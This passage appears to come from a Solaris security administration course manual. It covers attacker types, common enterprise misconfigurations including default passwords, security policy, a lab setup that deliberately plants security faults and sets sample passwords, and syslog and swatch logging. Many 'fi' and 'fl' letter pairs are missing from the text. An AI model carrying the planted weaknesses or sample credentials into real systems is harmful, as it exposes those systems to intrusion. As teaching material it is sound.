looking to instigate major fraud to bored employees looking for a bit of
excitement (see Figure 1-3).
Figure 1-3 Perpetrators of Computer Crime
Motivations of an Attacker
Attackers apply a variety of methods, depending upon their motivation.
Motivations might include:
G Destruction of data
G Theft of data
G Changing the data
G Just for fun, or the challenge
G As a springboard to other activities
Other Types of Attackers
External attackers are often thought of as being focused and highly skilled
hackers, pitting their skills against the systems they are trying to inltrate.
However, such attackers take many other forms, including:
G Script Kiddies who run hacking utilities without understanding
underlying security principles
G Terrorists who damage systems to further their cause
G Criminals looking for commercial gain:
G Individuals
G Organized crime groups
G Employees with malicious or criminal intent:
G Often disgruntled
G Can be in position of trust
Hackers
Hackers have been described as follows:
An individual who experiments with the limitations of systems for
intellectual curiosity or sheer pleasure.
[Source: Bruce Schneier, Secrets and Lies (see Additional Resources on
page 1-3)]
An expert at a particular program, or one who frequently does work
using it or on it; as in a UNIX hacker.
[Source: http://tuxedo.org/jargon/html/entry/hacker.html]
A malicious meddler who tries to discover sensitive information by
poking around.
[Source: http://tuxedo.org/jargon/html/entry/hacker.html]
Hackers are often stereotyped as young, male, and socially on the fringe.
Real hackers have considerable expertise, often more than the systems
designers, and they have plenty of time in which to attack systems.
Some people differentiate between hackers (the good guys) and crackers
(the bad guys). Although hackers might cause little or no damage,
trespass is still a crime and no hacker is ultimately a good guy. Hackers
also write hacking tools used by others who would otherwise not have
the expertise to hack your systems.
Hackers exploit weaknesses. Unless you are a particularly attractive target
(usually the government or a well known company), a good security
regime will send the hacker looking for an easier target.
Script Kiddies
Script kiddies are users who obtain and use hacking tools without
understanding how the tools work or how to perpetrate system attacks
without the tools.
Terrorists
Terrorists are less interested in obtaining a personal advantage than in
inicting damage upon others. Terrorists use damage to achieve their
goals and are often ruthless. They use brute force methods, which should
be relatively easy to detect, and they are less interested than other
attackers in avoiding detection. Recognition is often its own reward.
Terrorists differ from other hackers, such as virus writers, because they
damage systems to further their cause and often target particular
organizations. While terrorist attacks do occur, they are unusual and
government agencies are the preferred target.
Criminals
Lone criminals are likely to target commercial and nancial systems
(because that is where the money is). They are often insiders exploiting a
known weakness, or outsiders using hacking tools. They are generally
inexperienced and often get caught. However, those that do not get
caught do cause the bulk of computer-related crime.
Organized criminal groups sometimes get involved in industrial
espionage. They generally have a higher tolerance for risk than lone
criminals do and can purchase information or bribe individuals to gain
access.
Defense against criminals is the same as defense against hackers. Make
your system secure and they will seek easier targets.
Employees
Malicious insiders are potentially dangerous adversaries. Because an
employee, contractor, or consultant is already inside the rewalls, past the
intrusion detection systems, and possibly accessing many systems, an
employee can cause a great deal of damage.
Programmers and individuals in positions of trust, such as system
administrators, are of particular concern, because they have the expertise
to subvert systems and to cover their tracks. Protecting systems against
employees is signicantly more difcult than protecting systems against
outsider attacks. In fact, protecting against all insider attacks might be
impossible, without causing signicant inconvenience to normal business.
Top Enterprise-Wide Attacks
The following is a list of the top security weaknesses in a typical
enterprise. While it is not an exhaustive list of security vulnerabilities, you
can use this list as a guide to prioritizing your activities:
G Routers Miscongured access control lists on routers can allow
information leakage through Internet Control Message Protocol
(ICMP), Internet Protocol (IP), or NetBIOS, which can lead to
unauthorized access to servers.
G Remote Access Unsecured and unmonitored remote access points
provide easy access. Modems are particularly vulnerable. Modem
use is declining with the use of Virtual Private Networks (VPNs).
G Trusted Relationships Excessive use of trusted relationships, such
as UNIX.rhosts and Microsoft NT Domain Trusts, can provide
unauthorized access to your systems.
G User Accounts Unnecessary privileged accounts allow more
chances for attackers to gain privileged access to your systems.
G Passwords Weak, easily guessed, and reused passwords can
compromise your systems.
G Standard Accounts Presupplied accounts using standard
passwords (such as the Oracle system account which is installed
with a password of manager and the installer is not prompted to
change the default password).
G Software Outdated, unpatched, or vulnerable software left on your
system increases the chances of accidental and malicious misuse.
Failure to apply operating system patches on a regular basis is a
common cause of weak security.
G Security Policy Lack of accepted or well-distributed security
policies, procedures, or guidelines.
G Sharing Data Excessive Network File System (NFS) exports or
Microsoft NT shares.
G Unauthenticated Services Running services such as X-Windows
that allow keystroke captures.
G Internet Servers Miscongured Internet servers, particularly
Common Gateway Interface (CGI) scripts behind Web servers and
File Transfer Protocol (FTP) servers.
G Firewalls Miscongured rewalls can provide access to internal
systems.
G Unnecessary Services Remote Procedure Call (RPC), FTP, Domain
Name Services (DNS) and Simple Mail Transfer Protocol (SMTP),
and so on can be easily compromised.
G Information Leakage Some services, such as Simple Network
Management Protocol (SNMP), finger, SMTP, telnet, rusers,
rpcinfo, and NetBIOS can provide attackers with operating system
and application versions as well as users, groups, le shares, and
DNS information.
G Inadequate Logging Detection and monitoring should be done at
the host and network level.
Running an Intrusion Detection System
An Intrusion Detection System (IDS) is a type of security tool. Typically,
an IDS is a network monitor which scans for suspicious behavior. It is not
a substitute for good, proactive security and intruder prevention.
An IDS can alert you to a successful attack or sometimes a failed attempt.
A good IDS can:
G Alert you while the attack is still taking place
G Help you track down where the attack is coming from
G Make recommendations on what action to take
Burglar Alarms and Honey Pots
Network burglar alarms and honey pots are forms of IDS. Burglar alarms
set off an alarm when events such as the following occur:
G A particular network command is used.
G A dummy network account is activated.
Honey pots are burglar alarms made to look particularly attractive to
attackers. Honey pots are often dummy computers or subnets with
interesting names. Attackers are attracted to the honey pot, which
monitors the hacking activity.
Continuous Monitoring
Security is an ongoing process. Your systems and network should be
checked for security attacks on a regular basis. Good logging and auditing
processes are essential, but these processes are wasted if you do not check
them regularly. Hourly checks might be excessive for most environments,
but daily ones are not.
IT system vendors, third-party companies, and individuals provide many
tools to help with continuous monitoring. Utilities exist that monitor log
les for key events, recognize these events, and respond by emailing or
paging administrators so that they quickly become aware of the event.
Running Dummy Attacks
One approach to checking security levels is to run dummy attacks. Use
pre-announced attacks to avoid false alarms when administrators detect
the attack. Run clandestine attacks to ensure security administrators can
respond to an attack when they are not aware that one is taking place.
Third-party companies or individuals can mount attacks to try to detect
gaps in your security systems. Specialist security companies are aware of
the latest security bulletins and weaknesses. Be sure that you trust any
company that checks your security, because the security company then
becomes aware of any weaknesses in your IT systems.
Sun Microsystems Professional Services offer a range of security auditing
services.
Vulnerability Scanners
A vulnerability scanner is an automated program that scans your network
for known weaknesses and produces a report that you can use to help x
them. SAINT (formerly SATAN/SANTA) is the best-known vulnerability
scanner. See Module 12, Analyzing Network Services for more
information.
Security Policy
Security Policy
At its simplest, a security policy contains of a description of allowed and
prohibited operations. This course is about tactics that increase system
security. Your security policy should incorporate these tactics.
A security policy can never be static. Instead, it must continuously adapt
to new knowledge and situations.
To create a security policy, you must:
G Decide what is and what is not permitted within your computing
environment
G Dene the limits of acceptable behavior relative to the security of any
environment
Before a security policy can be determined, answer the following
questions:
G What am I protecting?
G Why am I protecting it?
Security Policy
G What am I protecting it from?
G How much money, manpower, and equipment can I devote to
achieve adequate protection?
Proper security policy development requires a risk assessment and a
costbenet analysis.
Security Policy
Purpose and Use of a Security Policy
The security policy denes what items (buildings, people, job roles,
equipment, systems, data, applications, hard copy media, and so on) and
environments are valuable, and what steps are necessary to protect them.
The security policy makes clear what is covered by the policy and why.
You can also include the reasons why items are not covered. It also states
who and what is responsible for that protection. Finally, it provides a
foundation on which to resolve situations when conicts or
misunderstandings occur.
A Security policy must be specic to the type of company and users it is
applied to. It should not be just a list of threats to the environment, but a
positive statement of standards and guidelines.
The scope of a security policy can be very simple (such as a handout
containing guidelines) or it can include detailed manuals and regulations.
Administrators, users, and company ofcials must have guidelines
regarding what they should and should not be doing.
Security Policy
Some topics that should be described in a security policy are:
G Password selection criteria and password aging schedules
G Ownership of systems and responsibilities
G Backup schedules and expectations of restoration of lost data
It is also important for you to decide on which of the following paradigms
to base your security policy:
G Everything not specically denied is permitted
G Everything not specically permitted is denied
Which paradigm you chose is likely to be based on the general level of
security required at a site (with the second paradigm being more secure
than the rst).
Creating a Security Policy
A site security policy is usually a collection of guidelines and procedures,
prexed with a general statement of the organization's security aims.
Although you can write a site security policy from scratch, you might
prefer to use the handbook written by the Network Working Group,
discussed in the following section.
Site Security Handbook Network Working Group RFC2196,
September 1997
This handbook is a guide to developing computer security policies and
procedures for sites that have systems on the Internet. This handbook
provides practical guidance to administrators trying to secure their
information and services. The subjects covered include:
G Policy content and formation
G A broad range of technical system and network security topics
G Security incident response procedures
This handbook is available from numerous Web sites (see Additional
Resources on page 1-3).
Using Third-Party Security Tools
To implement your security policy you need several tools. Sun
Microsystems provides security tools and services, many of which are
covered in this course. In addition, other third-party tools administer
security (and are sometimes used to break into systems). Established tools
and new tools are covered in security news groups, such as:
G alt.computer.security
G alt.security.*
G cern.security.unix
G comp.security.*
G misc.security
Several Web sites specialize in security, including:
G http://www.sans.com
G http://www.securityfocus.com
G http://www.cert.com
Some of Sun Microsystems security pages are:
G http://www.sunworld.com/sunworldonline/common/
security-faq.html
G http://sunsolve.sun.com/pub/pub-cgi/sec.Bulletin.pl
Specic companies (or Open Software organizations) have developed
some of the tools. These can be found on the appropriate Web sites. Most
of the other tools are included in standard archives such as:
G ftp://ftp.cerias.purdue.edu/pub/tools/unix/
G ftp://ftp.csc.ncsu.edu/pub/security/
Several of the commonly used public domain tools have been ported to
various versions of the Solaris OE and are available in precompiled
System V Release 4 (SVR4) package format from the Sun Web site:
http://www.sunfreeware.com
When a specic tool is discussed during this course, a reference to the
appropriate Web site is also included in Additional Resources on
page 1-3.
Appendix B also includes a list of security tools specic to the Solaris OE,
and Appendix C has a list of third-party security tools relevant to this
course.
Installation of Third-Party Tools
Most tools are provided in C, C++, or Perl source code format and require
compiling and linking for your specic platform. They are generally
distributed as tar archives and often compressed using GNU zip (gzip).
The gzip program is a standard utility provided with the Solaris 8 OE.
Note The gzip program must be downloaded from the Sun freeware
site and installed for previous versions of the Solaris OE.
All these tools provide instructions and include shell scripts or make les
to automate the process. Look for les such as README or INSTALL in the
tools top-level directory.
These tools are generally installed into a subdirectory under the
/usr/local directory. Many of the tools install executable binaries into
the /usr/local directory by default (and install the manual pages into
the /usr/local/man directory).
Tool installation usually includes following these steps:
1. Download the tool archive.
2. Uncompress the archive.
3. Unpack the archive into the /usr/local directory.
4. Read the tool README les.
5. Follow the instructions in the README les. These instructions might
be as easy as running these commands:
# make
# make install
Because these tools are portable, administrators usually use the GNU C++
compiler instead of the Sun Workshop Standard compiler. You should
download and install the GNU C++ compiler from the Sun Free Software
Web site even if you have a Sun Workshop compiler available.
Some tools might be provided as precompiled binaries for popular
operating systems (such as the Solaris OE) by the supplier or be available
on the Sun Free Software Web site. If so, install those tools using the
pkgadd utility.
Security Issues With Third-Party Tools
How do you know that a third-party tool does what it is supposed to do?
Can you be sure that the software posted onto the Web is as originally
written and has not been modied by someone else?
Using MD5 Digests and Public Keys for Authentication
Many archives include Message Digest 5 (MD5) or similar signing
techniques which can validate that the software you download is the
software originally provided by the developer. As long as you trust the
developer, you can trust the software. Digital certicates and public keys
can also increase your trust in the tool developer.
As a nal check, you (or an experienced programmer) can study the
source code to see what it actually does. If you are not convinced about a
tools authenticity, do not to use it.
Remove Compilers and Tools After Use
Users can use C and C++ compilers to compile and install their own
programs. A malicious user can install hacking tools which might breach
the integrity of your system.
You should remove the compilers after you have compiled your software
(they can always be reinstalled if they are required again). You can also
compile only on one system, then transfer the nal tool les to the target
system. This is how the Sun Freeware Web site operates. In this case, the
tool is packaged as a System V package for ease of distribution and
installation.
An alternative approach is to make the compilers executable only by the
root user. However, this does not protect you from a user successfully
hacking your root account and using the compiler to leave a trapdoor for
future use.
Similarly, the tools that you use to check system security can also be used
by malicious users to look for security weaknesses. Many tools must be
used continuously, but some are used once and rarely again. Remove tools
after they have served their purpose, and make sure that the tools are not
executable by ordinary users at any time.
Site Policy for Security Tools
The tools used in this course provide a good suite of security
enhancement products. They can also attack a system. Many sites have
strict rules about the use and installation of these tools. The following
examples are real instances of rules or guidelines imposed by some sites:
G Installing password guessing tools (like crack) can result in
immediate dismissal.
G Using the SAINT (SATAN/SARA) scanning program on a dial-up
line results in the ISP disabling your account for one month with an
administration charge for re-enabling it.
G Using network snifng tools (even ofcial ones like snoop) can result
in immediate dismissal.
Warning Do not use any of the tools described in this course without
the permission of the system and network administrators at your location.
Do not even download or install the tools without rst obtaining the
authority to do so.
Exercise: Considering Security Issues
In this exercise, you complete the following tasks:
G Discuss example security attacks
G Discuss your sites security policy, if you are permitted to do so
G Install software to use throughout this course
Task Example Security Attacks
Think of an example of security attacks for each of the categories
discussed in Types of Security Attacks on page 1-21:
G Fraud
G Theft
G Terrorism and sabotage
G Privacy violation
G Publicity attacks
G Denial of service
G Natural causes and environmental inuences
Task Security Policy
Does your site have a security policy? Have you seen it? What sort of
security issues does it discuss? Give an example of a security policy or
procedure related to your job role.
Task System Configuration
This task must be completed to congure your workstation for the
remainder of the course.
To complete this task, you must install the GNU C++, make utility, tools,
and sample data les used for the rest of this course.
The software tools used for this course are usually downloaded from a
Web site. To avoid long download times on slow or overloaded networks
all the necessary software is already available on the instructors system.
Most of the tasks you perform are done with root privileges. This gives
you unrestricted access to the system and the potential to cause
irrevocable harm to the Solaris OE. If at any time you are unsure what to
do, ask your instructor for assistance.
Note The instructor provides the host name or IP address and a user
account and password for use with the ftp command.
Perform the following steps in the order given:
1. Log in as root and start a shell window if you are using the
Common Desktop Environment (CDE).
2. Create a directory for the course software. Download and unzip the
required les from the instructors workstation using the following
commands:
1 # mkdir -p /usr/local/pkg
2 # cd /usr/local/pkg
3 # ftp instructor system
4 ftp> bin
5 ftp> cd /usr/local/pkg
6 ftp> prompt
7 ftp> mget *
8 ftp> bye
9 # gunzip *.gz
3. Although Solaris 8 OE comes with a standard Perl 5 interpreter, this
is not compatible with many of the third-party tools written in Perl
(swatch for example). The standard Perl interpreter is designed to
work with the Sun Workshop C/C++ compilers whereas most of the
tools you will use are compiled with the GNU C/C++ compiler. You
must load a later version of Perl which supports the GNU C/C++
compiler and use it in preference to the perl command in the
/usr/bin directory.
4. Install the Perl 5.6 compiler in the /usr/local/pkg directory.
5. Install the GNU C++ compiler and make utility. This software is in
the /usr/local/pkg directory.
# pkgadd -d perl-5.6.0-sol8-sparc-local
6. Add the gcc and make packages to the system using the following
commands:
# pkgadd -d gcc-3.0.3-sol8-sparc-local
# pkgadd -d make-3.79.1-sol8-sparc-local
7. Create a symbolic link for the GNU C++ compiler that has just been
installed:
# cd /usr/local/bin
# ln gcc cc
8. Congure the standard login prole to include the necessary binary
les and manual pages. Modify the /etc/profile le and add the
following lines at the end of the prole (before the nal trap
command):
1 EDITOR=vi
2 VISUAL=vi
3 export EDITOR VISUAL
4
5 PATH=/usr/local/bin:/usr/local/sbin:$PATH:/usr/ccs/bin
6 MANPATH=/usr/share/man:/usr/local/man
7 export MANPATH
8
9 LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib:/usr/local/ssl/lib:/usr/
ccs/lib
10 export LD_LIBRARY_PATH
Note In this example, /usr/local/bin and /usr/ccs/bin directories
have been added to the standard path. These directories must now have
the same security checks and controls applied as the standard system bin
directories.
9. If your root account has presupplied login environment les,
remove these les:
# rm /.profile /.kshrc
You can customize the Korn shell environment for root if you want.
Warning It is imperative that the root account has a search path which
uses the versions of perl, make, and cc which have been installed in the
/usr/local/bin directory. The conguration shown in this exercise
ensures that this is true. Solaris OE has versions of cc in /usr/ucb/bin
and /usr/ccs/bin, perl in /usr/bin and make in /usr/ccs/bin. If you
use these programs instead of the ones in /usr/local/bin, then some of
the downloaded tools (swatch in particular) do not build or run correctly.
10. To simplify tool installation, a shell script called undos is included in
the /usr/local/pkg directory. This script uses the unix2dos
command to convert one or more plain text les to UNIX format
(recursing through directories if required). Copy this script to the
/usr/local/bin directory using:
# cp /usr/local/pkg/undos /usr/local/bin
11. Run the script:
# /usr/local/pkg/sc300_setup
This script creates users, creates some security faults, and installs
sample log les on your system. When the script runs, you are
prompted to set passwords for three user accounts. Table 1-1 shows
you which passwords to enter.
Table 1-1 Sample Users and Passwords
User Name Password
alice w0nderland (Note use of digit zero)
bob b0bb0b (Note use of digit zero)
eve 3v3adam
Exercise Summary
Exercise Summary
?
!
Discussion Take a few minutes to discuss what experiences, issues, or
discoveries you had during the lab exercise.
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following are solutions to the exercises. If you have any questions
about either the exercises or the given solutions, talk with your instructor.
Example Security Attacks
The following list includes one example of each type of security attack;
there are many others.
a. Fraud Falsifying payroll details to get a higher salary or false
expense reimbursement
b. Theft Buying goods with a false credit card number
c. Terrorism and sabotage Installing a time bomb into a system
d. Privacy violation Stealing someones credit card details
e. Denial of service Overloading a DNS server with false requests
f. Publicity attacks Telling the press about a fault on a site which you
have discovered or created
g. Natural causes and environmental inuences A ooded
machine room
Security Policy
There are no solutions to this exercise.
System Configuration
2-1
Module 2
UsingSolarisOELogFiles
Objectives
G Locate and interpret Solaris OE standard log les
G Use log les to form an audit trail
G Congure and use the syslogd daemon
G Congure and use the Solaris OE process monitoring control tools
G Use third-party process monitoring tools
G Congure and use UNIX accounting tools
Relevance
Relevance
?
!
Discussion The following questions are relevant to understanding the
role of logging into a secure Solaris OE:
G How easy is it to track what Solaris OE users are doing or have done?
G What is an audit trail?
G What are the vulnerabilities of an audit system?
Can you:
G Congure the Syslog facility to log system errors or debug messages
and notices?
G Congure a centralized logging host?
Using SolarisOE Log Files 2-3
G Solaris OE manual pages for acctcom(1M), accton(1M),
ckpacct(1M), dodisk(1M), finger(1), kill(1), last(1),
lastcomm(1M), lastlog(3), lastlogin(1M), logger(1M),
login(1), monacct(1M), pacct(3), prdaily(1M), runacct(1M),
sar(1M), shutacct(1M), su(1), syslogd(1M), syslog.conf(3),
users(1), utmpx(3), vmstat(1), wtmpx(3), who(1), whodo(1), and
w(1).
G Garnkel, Simson, and Gene Spafford. Practical UNIX & Internet
Security. OReilly & Associates, Inc. 1996.
G Frisch, Aeleen. System Administration. 2nd Ed, OReilly &
Associates, Inc. 1995.
G Winsor, Janice. Solaris System Administrator's Guide. 3rd Ed,
Prentice Hall. 2000.
G Gregory, Peter H. Solaris Security. Prentice Hall. 1999.
Tool Downloads
G swatch online resources,
[ftp://ftp.stanford.edu/general/security-tools/swatch/]
G top ported to Solaris OE 2.x,
G top online resources
[http://www.groupsys.com/top]
Solaris OE Logging Files
As a Solaris OE system administrator, you monitor the standard log les
and use programs to provide snapshots of system activity.
Before you look at individual log les, the following hints might help you
manage log les:
G Back up or copy log les on a regular, preferably daily, basis.
G Reset the size of log les to zero after a backup to prevent log les
from becoming unmanageable and to reduce the risk of running out
of disk space.
G Review the log les regularly. Logging is pointless if nobody reads
the logs.
G Use lters to manage the amount of data to review. However,
periodically review the entire log to ensure that nothing important is
being missed.
G Send log les to a separate, secure log host, by either copying the log
les or sending the log messages to one or more designated hosts on
the network. Additional information on conguring separate log
hosts is provided in Why Use Centralized Logging? on page 2-13.
Most log les are text les that system programs write to. The following
sections cover a few log les that you might nd useful.
Using /var/adm/lastlog Files
The Solaris OE records each time a user logs in to the system, using
/var/adm/lastlog les. The next time the user logs in, the time of the
prior login is reported on the screen. Train users to check this information
each time that they use the system and to report any discrepancy with
their known prior login time.
Note The /var/adm/lastlog le is not a text le and cannot be
browsed using standard utilities. Displaying the last login information is a
function of the Solaris OE accounting package covered in The Solaris OE
Accounting Package on page 2-27.
A successful login erases all previous information. Therefore, if a user
misses a suspicious login attempt when logging in, the information is lost.
One way to prevent losing this information is to add an entry to roots
crontab le to copy the lastlog on a regular basis to another secure
location.
Note No utility exists in Solaris OE to read the contents of the
/var/adm/lastlog le. A script that reads a lastlog le and prints out
the information is available from the OReilly Web site at:
ftp://ftp.ora.com/pub/examples/
nutshell/prac_unix_internet_secur/.
Using /var/adm/loginlog Files
The loginlog le records unsuccessful login attempts, but only after ve
consecutive failures. This le is useful only to track repeated login
attempts most hackers have more subtle ways of attacking your system.
Note The /var/adm/loginlog le is not created when installing the
Solaris OE and you must create it before login failures can be recorded.
This le does not record login failures from the CDE dtlogin program.
Using utmpx and wtmpx Log Files
The utmpx and wtmpx les store information about who is currently
logged in to the system.
The /var/adm/utmpx le replaces the old /etc/utmp le. It provides
information similar to the lastlog le, but stores information only on
users currently logged into the system.
The /var/adm/wtmpx le stores information every time users log in and
when they log out. It extends the information stored in the /etc/wtmp le
by recording the type of connection and the remote host name for logins
over the network.
The Solaris OE programs that report on users currently logged in (for
example who, whodo, w, users, and finger) obtain their information from
the utmpx le. The last program reads the wtmpx le to create a report of
the most recent user logins.
Note When a user uses the su command to become another user and
changes the real and effective user ID (UID), their entry in the utmpx le
is not altered. This can confuse programs that obtain a users identity
from the utmpx le.
Using the sulog File
The sulog le is specic to the su program. It records all attempts that
users makes to change their identity to that of another user. You can
dene parameters in the le /etc/default/su to specify the location of
the sulog le and to specify whether attempts to use the su command to
change to root are logged on the console (this is the default setting).
You should monitor the sulog le to see whether users are attempting to
use the su command to change to root. However, after successfully
hacking into the root account, a hacker is likely to edit or remove the
sulog le. One way to prevent possible loss of the sulog le is to send
each entry logged to the sulog le to a printer to create a hardcopy or to
send each entry to a remote logging daemon across the network.
Using /var/adm/messages Files
In the Solaris OE default conguration, all messages sent to the console
are also stored in the /var/adm/messages le. This provides a more
permanent record for messages that might otherwise be lost.
The SystemLogging Facility
The System Logging Facility (Syslog) is a host-congurable, uniform
system logging facility. Before Syslog was developed, each utility that
required logging created and managed its own individual log les. During
the development of Berkeley UNIX, the system logging facility daemon,
syslogd, was developed to simplify and centralize the maintenance and
evaluation of logged data. The Syslog utility uses a set of standard library
functions to pass status messages and other logged information to the
syslogd process.
Configuring the Syslog Utility
One advantage of the Syslog utility is that application programmers can
use Syslog to send notication messages without creating log les. Each
message consists of four parts:
G Program name A short text name for the program, such as make or
gcc (usually the name of an executable program).
G Facility A category of program generating the message.
G Priority Denes the priority level for the message.
G Message text The message itself.
The facility denes the type of program generating the message, as shown
in Table 2-1.
Priorities range from debug to emerg (emergency), as shown in Table 2-2.
A special priority of none in the conguration le indicates that the
message should be ignored. Specifying a low priority level automatically
includes the higher levels for the same facility.
Note These priorities are only labels. One programmers emergency
might be anothers warning.
Table 2-1 Syslog Facility Values
Program Type Description
kern Kernel
user User process
mark Time stamp
auth Authorization programs (for example, login,
su, getty)
daemon Network daemons (for example, inetd, ftpd)
* All facilities
Table 2-2 Syslog Priority Levels, in Descending Order
Priority Description
emerg For panic conditions normally broadcast to all users
alert For conditions that need immediate correction
crit For critical condition warnings
err For other errors
warning For warning messages
notice For non-error conditions that might require action
info Informational messages
debug Used when debugging daemons and so on
none Blocks messages from the named facility
The conguration le, /etc/syslog.conf, controls where messages are
logged. Each line of the conguration le consists of a selector, which
species which message to log, and an action eld that species what to
do with the message.
G The selector has the format: facility.priority.
G The action eld causes Syslog to do one of the following:
G Append the messages, with a time stamp, to a specied log le
or device. The log le or device name must be a fully qualied
path name starting with a forward slash.
G Forward the messages to users using the write utility. If the
user is not logged in, the message is lost. You can separate
multiple user names with commas. An asterisk indicates that
the message should be written to all logged-in users.
G Forward the messages to the syslogd daemon of another
network host. The host is specied after the @ symbol (for
example, @netlog.sun.com).
An example/etc/syslog.conf le is shown in Code 2-1.
Code 2-1 Example /etc/syslog.conf Conguration File
1 *.err;kern.*;mark.*;auth.notice/dev/console
2 daemon.*;auth.notice /var/adm/messages
3 auth.warn root
4 auth.warn /dev/lp0
5 *.emerg *
Note The white space between the selector eld and the action eld
must be one or more tab characters. Using spaces instead of tabs causes
the Syslog utility to ignore the action.
You must turn on Syslog logging in some programs:
G Set SYSLOG=YES in the /etc/default/login le to log all root
logins (such as auth.notice) and multiple failed login attempts
(such as auth.crit).
G Set SYSLOG_FAILED_LOGINS=0 in the /etc/default/login le to
log all failed login attempts. The default only logs after ve failed
attempts.
G Set SYSLOG=YES in the /etc/default/su le to log all attempts to
use the su command to change to the root user. Every such use is
logged at syslog level auth.info, and all failed su command
attempts are logged at syslog level auth.crit.
Caution Anyone can use the Syslog utility to generate log entries. Be
aware that false information might be written to your log les.
Why Use Centralized Logging?
The default /etc/syslog.conf le keeps all messages on the local host.
This might be adequate in a small environment, but managing numerous
log les from multiple hosts can become difcult on a large network. You
can congure the syslogd daemon to automatically send log data to a
central syslogd server. Advantages of centralized logging include:
G Complex problems involving multiple systems can be easier to
troubleshoot because all the error information is on one server
instead of several servers.
G One log server is easier if your site requires rotation and tape backup
of the system logs.
G Centralized, real-time, log monitoring allows proactive problem
solving rather than reactive re ghting.
G Hackers that successfully break-in to one system cannot edit the log
les to hide their success unless they break-in to the logging host as
well.
When conguring a central log host, consider the following issues:
G The data is usually sent in plain text, which allows an attacker with
access to the network to use network snifng tools that view and
identify data as it is transferred.
G One centralized log server is a single point of failure in the system.
Therefore, it is a good idea to log events from all systems on multiple
log servers.
G Multiple centralized log servers make it more difcult for hackers to
hide their tracks but also adds complexity to the logging system.
Conguring and Debugging Logging to Remote Hosts
You can have all your systems send the messages to one central host. Even
though this method is easy to administer, it creates a single point of
failure. The syntax for the /etc/syslog.conf le allows a logging host to
be specied, as follows:
auth.notice @loghost
If multiple logging hosts are required, then multiple lines must be
provided:
auth.notice @loghost1
auth.notice @loghost2
This solution adds to overall security. Even if someone breaks into one
system and erases its log les, you still have another copy.
The code for the syslogd daemon can be compiled on a non-UNIX host
that has standard C and TCP/IP libraries. If you log in to a PC with
Syslog as its only network service, there is no way for someone to break-
in from the Internet and alter the logs.
The logger Utility
A system administrator can use the logger utility to send entries to the
syslogd daemon from the command line. For example, you might use the
logger utility to record suspected intrusions when your suspicions are
provoked.
You can change the facility and priority of the message from the default
user.notice setting by using the -p option. Refer to the Solaris OE
manual page for the full list of options (see Additional Resources on
page 2-3).
The following example logs the message System rebooted to the system
log at the default priority level user.notice:
# logger "System rebooted"
The next example logs the message "This is a test of the auth.notice
level" to the system log at a priority of notice and a facility of auth:
# logger -p auth.notice "This is a test of auth.notice level"
Using the swatch Tool
The swatch tool is a freeware log monitoring tool developed at Stanford
University. The swatch tool monitors log les. The tool can lter out
unwanted data and can take one or more user-specied actions (for
example, send mail or execute a script) based upon patterns in the log.
The swatch tool is written in the Perl programming language and uses
Perl syntax in its conguration le.
You can run the swatch tool in three different ways:
G Make a single pass through a le
G Look at messages being appended to a le as that le is updated
G Examine the standard output of a program
To use the swatch tool to continuously monitor a log le, specify the log
le on the command line:
# swatch -t /var/adm/messages
The swatch tool monitors the log le (much like the tail -f) and looks
for the types of messages you dene in the swatch conguration le.
Typing swatch without any command line parameters has the same effect
as using the tail command on the /var/adm/syslog le.
Conguring the swatchTool
The swatch tool is controlled by a conguration le. The default location
is $HOME/.swatchrc, but you can use a command line option to change
the default. You can use the command line option to use different
conguration les for different log les or when you run the swatch tool
from the system initialization les in the /etc/init.d directory. For
example:
# swatch -c /etc/swatch.sulog.conf -t /var/adm/sulog
Each non-comment line (comments start with the # symbol) denes either:
G A pattern expression to watch for, starting with the keyword
watchfor
G Actions to be performed if the previous expression is matched; these
lines must start with a tab character
G A pattern expression to ignore, starting with the keyword ignore
A watch or ignore pattern eld is a comma-separated list of Perl regular
expression patterns (similar to those used by the UNIX egrep program).
The swatch tool builds up its rules in the order that they appear in the
le, so you must place general rules before more specic ones. See the
example swatch conguration le in Code 2-2 on page 2-21.
Using swatchActions
Table 2-3 shows the actions understood by the swatch tool.
Table 2-3 The swatch Tool Actions
Action Usage
echo Causes the log line to be echoed to the swatchtools
controlling terminal or to the /dev/null le (if
started from the system startup les in the
/etc/init.d le). The line can be echoed in
different formats by adding one of the following
keywords to the echo line:
G normal
G bold
G underscore
G blinking
G inverse
bell Sends a bell signal (^G) to the controlling terminal.
Code 2-2 shows an example swatch conguration le. Actions must
follow the watchfor line, and must be indented with a tab character.
Code 2-2 Example swatch Conguration File
1 # Swatch configuration file
2 #
3 # Alert me of bad login attempts and find out who is on the system
4 #
5 watchfor /INVALID|REPEATED|INCOMPLETE/
6 echo inverse
7 bell
8 write root
9 #
10 # Ignore this stuff
11 #
12 ignore /sendmail/,/nntp/,/xntp|ntpd/,/faxspooler/
ignore Causes the swatch tool to ignore the current line of
input and proceed to the next one. If used early in
the conguration le, the ignore action can lter
out specic, unimportant information that might
otherwise match a more general expression found
later in the conguration le.
write Uses the write command to send a copy of the line
to a user list.
mail Uses the mail command to send a copy of the line
to a user list.
pipe Runs a user command with pattern matched lines as
input to the particular command.
exec Runs a command on the system. You can use
selected elds from the matched line as arguments
for the command. For example, use the exec action
to invoke a script to send a pager message to a
system administrator.
Table 2-3 The swatch Tool Actions (Continued)
Action Usage
Conguring the swatch tool requires some signicant effort. Each log le
to be monitored requires a new swatch program (with its own
conguration le). To save time, use the swatch tool in conjunction with
the Syslog utility so that Syslog can collect all the necessary messages to a
single log le.
The swatch tool allows you to congure many types of actions, such as
sending copies of les and messages to a separate machine or paging a
system administrator. However, to use the swatch tool, you must know
the Perl patterns.
The best way to use the swatch tool is to include it as part of the system
initialization in the same directory as the system services, particularly
network services (for example, /etc/rc2.d).
Code 2-3 shows a possible startup script.
Code 2-3 Example swatch Startup Script
1 # startup swatch
2 case $1 in
3 start)
4 /usr/local/bin/swatch -c /etc/swatch.sulog.conf \
5 -t /var/adm/sulog&
6 /usr/local/bin/swatch -c /etc/swatch.msg.conf \
7 -t /var/adm/messages&
8 ;;
9 stop)
10 # terminates when TERM signal sent by shutdown
11 ;;
12 esac
Solaris OE Monitoring Tools
The Solaris OE provides an array of system utilities designed for
monitoring system processes and resources. You can also use these tools
to detect security problems. Many of these tools have overlapping
capabilities or perform similar operations. The commands and utilities
presented are not comprehensive, but they are commonly used tools.
When you have reviewed the available tools, you can select specic tools
for particular tasks.
For more information about each of the commands and their possible
options, consult the appropriate Solaris OE manual pages.
Table 2-4 shows some of the utilities that monitor resources.
Caution Allowing someone who has not logged in to your system (for
